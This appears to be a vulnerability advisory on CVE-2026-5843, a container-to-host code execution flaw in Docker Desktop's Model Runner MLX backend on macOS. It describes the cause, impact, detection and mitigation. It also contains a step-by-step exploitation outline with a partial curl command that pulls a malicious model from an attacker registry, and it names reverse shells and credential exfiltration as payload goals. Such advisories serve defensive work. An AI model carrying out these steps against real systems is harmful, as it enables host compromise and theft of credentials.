CVE-2026-5843: 
Docker Desktop vulnerability analysis and mitigation

CVE-2026-5843 is an arbitrary code execution vulnerability in Docker Model Runner's MLX inference backend on macOS, caused by the MLX-LM library unconditionally importing and executing arbitrary Python files from model directories without any trust gate or sandboxing. It affects Docker Desktop versions 4.56.0 through 4.71.0 (exclusive) on macOS. The vulnerability was published on May 22, 2026, and assigned by Docker. It carries a CVSS v3.1 base score of 8.6 (High) and a CVSS v4.0 base score of 8.8 (High) (Red Hat CVE, ENISA EUVD).

The root cause is classified as CWE-829 (Inclusion of Functionality from Untrusted Control Sphere). When a model's config.json specifies a model_file field pointing to a Python file, the MLX-LM library uses Python's importlib to load and execute that file with no trust_remote_code gate or equivalent safety check — a mechanism analogous to Hugging Face's opt-in code execution guard but entirely absent here. The MLX backend runs without sandboxing on the Docker host, meaning any container on the Docker network can exploit this by calling the model-runner.docker.internal API to pull a malicious model from an attacker-controlled OCI registry and then request inference, triggering execution of the attacker's Python payload as the Docker Desktop user (Red Hat CVE, ENISA EUVD).

Successful exploitation results in arbitrary code execution on the Docker host as the Docker Desktop user, with full confidentiality, integrity, and availability impact (all rated High in both CVSS v3.1 and v4.0). Because the MLX backend runs unsandboxed, an attacker can read sensitive files, modify host data, install persistence mechanisms, or pivot to other systems accessible from the host. The changed scope in CVSS v3.1 reflects that exploitation breaks out of the container boundary to affect the underlying macOS host (Red Hat CVE, Exploit Intel).

1. Set up a malicious OCI registry: Deploy the PoC script (poc_cve_2026_5843.py) on an attacker-controlled server reachable from the Docker network. The script serves a crafted model OCI artifact whose config.json contains a model_file field pointing to a malicious Python file bundled in the model directory.
2. Gain network access: Compromise or control any container running on the same Docker network as the Docker Desktop host (e.g., via a misconfigured or vulnerable containerized application).
3. Trigger model pull: From the compromised container, call the model-runner.docker.internal API to instruct Docker Model Runner to pull the malicious model from the attacker-controlled OCI registry: curl -X POST http://model-runner.docker.internal/... --data '{"model": "attacker-registry/malicious-model"}'.
4. Trigger inference: Send an inference request via the same API, causing the MLX-LM backend to load the model. MLX-LM reads config.json, finds the model_file pointing to the attacker's Python file, and uses importlib to import and execute it.
5. Achieve host code execution: The Python payload executes unsandboxed as the Docker Desktop user on the macOS host — for example, writing a file to ~/Desktop/mlx.txt, establishing a reverse shell, or exfiltrating credentials (PoC GitHub, Exploit Intel).

• Network: Unexpected outbound connections from the Docker Model Runner process to unknown external OCI registries; unusual HTTP requests to model-runner.docker.internal API endpoints originating from containers that do not normally interact with Model Runner.
• File System: Unexpected files created in the user's home directory (e.g., ~/Desktop/mlx.txt or similar artifacts written by PoC payloads); new or modified files in model cache directories under Docker Desktop's data path; unfamiliar Python files present in model directories alongside config.json.
• Logs: Docker Model Runner logs showing model pulls from unrecognized or external OCI registries; importlib-related Python tracebacks or unexpected module load events in MLX-LM logs; model inference requests immediately following a pull from an external registry.
• Process: Unexpected child processes spawned by the Docker Model Runner or Python MLX-LM process (e.g., bash, curl, python3 executing scripts outside normal model paths); network connections initiated by Python processes associated with MLX-LM to external IPs (PoC GitHub, Exploit Intel).

Docker has addressed this vulnerability in Docker Desktop 4.71.0; users should upgrade immediately (Docker Release Notes). As interim workarounds: restrict network access to the model-runner.docker.internal API so only explicitly trusted containers can reach it; validate and allowlist model sources before loading; disable the MLX inference backend if it is not required; and isolate Docker Desktop instances from untrusted containers on separate networks. Implementing a trust_remote_code gate or equivalent policy before executing Python files from model directories is the recommended architectural fix (Red Hat CVE, ENISA EUVD).

Heise Online covered the vulnerability with an article titled "Error in Docker Model Runner allows sandbox escape on macOS," highlighting the container-to-host escape angle (Heise). The CVE was noted on Bluesky by security-focused accounts shortly after publication, and CISA included it in a vulnerability bulletin (CISA Bulletin). Community discussion on platforms like 4sysops also referenced the issue in the context of Docker vs. Podman security comparisons.